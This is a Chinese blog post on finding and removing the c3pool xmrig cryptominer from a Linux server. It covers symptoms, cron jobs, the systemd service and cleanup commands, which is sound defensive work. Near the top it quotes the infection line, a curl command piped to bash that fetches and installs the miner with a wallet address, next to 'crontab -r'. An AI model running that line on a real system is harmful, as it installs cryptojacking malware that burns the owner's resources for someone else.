【安全】查杀linux上c3pool挖矿病毒xmrig

落日映苍穹つ 2024-04-26 10:49 11阅读 0赞

挖矿平台：[猫池][Link 1]

病毒来源安装脚本

cat /root/c3pool/config.json
    
    crontab -r
    cd /root/c3pool
    
    curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33QxjJdzzcMA2bvwo6P4i6AxZjzsh227W3SjodscE45xFD7iXuW12

![在这里插入图片描述][3c09fcc5fdd5439b80a6cc9f7ea3a8b1.png]  
旷池提供的卸载脚本

curl -s -L http://download.c3pool.com/xmrig_setup/raw/master/uninstall_c3pool_miner.sh | bash -s

### 中毒现象 ###

高cpu和高内存占用  
![在这里插入图片描述][6f61676fd46e43b7a86c338f54936be9.png]  
kill -9 杀掉之后自动重启  
![在这里插入图片描述][434e4d66f1ab4dfb9b953053346cb755.png]  
![在这里插入图片描述][f989b238696545ad928ab8bd24d26907.png]  
进程ip：47.76.163.177 为美国IP，[IP查询][IP]  
![在这里插入图片描述][d2397b1731804bd0aca0482b334a9c92.png]

### 查杀过程 ###

查找病毒脚本位置`find / -name xmrig`  
![在这里插入图片描述][e7b90bc0076846c8b95e6dbe350b7636.png]

#### 检查是否有相关的定时任务 ####

crontab -l

如果有定时任务则删除掉  
![在这里插入图片描述][1b3e107776d844e1ac1a336162eb2a67.png]

find / -name cron* -type d

#### 查找自启动服务 ####

因为kill -9杀掉进程之后会立即重启，需找到自启动服务，禁用后删除

systemctl list-units --type=service

![在这里插入图片描述][47798d2ae8be4d409918f0e8bc998b63.png]

find / -name c3pool_miner.service

找到所有相关的服务，全部删除

# 关闭自启动
    systemctl disable c3pool_miner.service
    # 停止服务
    systemctl stop c3pool_miner.service
    # 删除服务
    rm -f /etc/systemd/system/c3pool_miner.service

![在这里插入图片描述][75fca3435b7d451d8573979df31d2660.png]  
最后将脚本文件删除

rm -rf /root/c3pool/

[【安全】查杀linux上c3pool挖矿病毒xmrig][linux_c3pool_xmrig]  
[【安全】查杀linux挖矿病毒 kswapd0][linux_ kswapd0]  
[【安全】查杀linux隐藏挖矿病毒rcu\_tasked][linux_rcu_tasked]  
[【安全】挖矿木马自助清理手册][Link 2]

[Link 1]: https://c3pool.com/oldui/cn/
[3c09fcc5fdd5439b80a6cc9f7ea3a8b1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/8c014c69db61402d94f4db66dafc5f6d.png
[6f61676fd46e43b7a86c338f54936be9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/631e6298a4da4333be1aa6d77566979a.png
[434e4d66f1ab4dfb9b953053346cb755.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/065c53b616c34b47978e96a569d79ede.png
[f989b238696545ad928ab8bd24d26907.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/b4ad75dd52804d59b377a380d646500d.png
[IP]: https://ip.cn/
[d2397b1731804bd0aca0482b334a9c92.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/00753def4f1142ccb12269369765f91f.png
[e7b90bc0076846c8b95e6dbe350b7636.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/86612fab603945afbe96f852a71e23c0.png
[1b3e107776d844e1ac1a336162eb2a67.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/58c1e9788f1a4610af15d2187866b6f1.png
[47798d2ae8be4d409918f0e8bc998b63.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/5015733fd8604769881a884e4224b578.png
[75fca3435b7d451d8573979df31d2660.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/26/7015d82ca4b64a54a519a56a8542c768.png
[linux_c3pool_xmrig]: https://blog.csdn.net/UberSoldier/article/details/137773179
[linux_ kswapd0]: https://blog.csdn.net/UberSoldier/article/details/137636829
[linux_rcu_tasked]: https://blog.csdn.net/UberSoldier/article/details/134039899
[Link 2]: https://blog.csdn.net/UberSoldier/article/details/137676834